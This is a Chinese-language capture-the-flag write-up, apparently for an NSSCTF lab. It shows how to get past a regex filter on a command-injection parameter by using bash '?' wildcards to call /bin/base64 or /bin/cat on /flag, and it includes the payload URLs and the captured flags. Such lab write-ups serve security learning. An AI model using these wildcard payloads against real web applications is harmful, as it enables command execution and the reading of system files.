开启靶场,打开链接:
GET传参cmd
/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/
b-zA-Z 过滤b到Z范围内的任何单个字符
_ 过滤下划线
:{}\-\+<>\"| 匹配这些符号之一
;\[\] 匹配这些符号之一
可以尝试在Linux终端中做下面的几个实验,使用echo方法输出?匹配的字符串
bash-5.1# echo /???/??????
/bin/base64 /bin/getopt /bin/gunzip /bin/ionice /bin/iostat /bin/ipcalc /bin/mktemp /bin/mpstat /bin/umount /bin/usleep /dev/mqueue /dev/random /dev/stderr /dev/stdout /etc/conf.d /etc/group- /etc/init.d /etc/passwd /etc/shadow /etc/shells /etc/ssl1.1 /sys/kernel /sys/module
bash-5.1# echo /???/???
/bin/ash /bin/cat /bin/pwd /bin/rev /bin/sed /bin/tar /dev/pts /dev/shm /dev/tty /etc/apk /etc/opt /etc/ssl /lib/apk /sys/bus /sys/dev /usr/bin /usr/lib /usr/src /var/lib /var/log /var/opt /var/run /var/tmp /var/www
可以利用这个原理:
??a? flag
??? bin
?a??64 base64
?a? cat或tar
bash-5.1# echo /???/?a?
/bin/cat /bin/tar
bash-5.1# echo /???/?a? /??a?
/bin/cat /bin/tar /flag
bash-5.1# echo /???/?a??64
/bin/base64
bash-5.1# echo /???/?a??64 /??a?
/bin/base64 /flag
构造payload:
/?cmd=/???/?a??64 /??a? # 使用 /bin/base64 /flag
成功得到flag:
NSSCTF{ac12efd7-09f9-4bf2-af1d-e0c145a5d35a}
或者构造另一种payload:
?cmd=/???/?a? /??a? #使用 /bin/cat /flag
(这里我重开了靶场,所以flag不一样)
也一样能拿到flag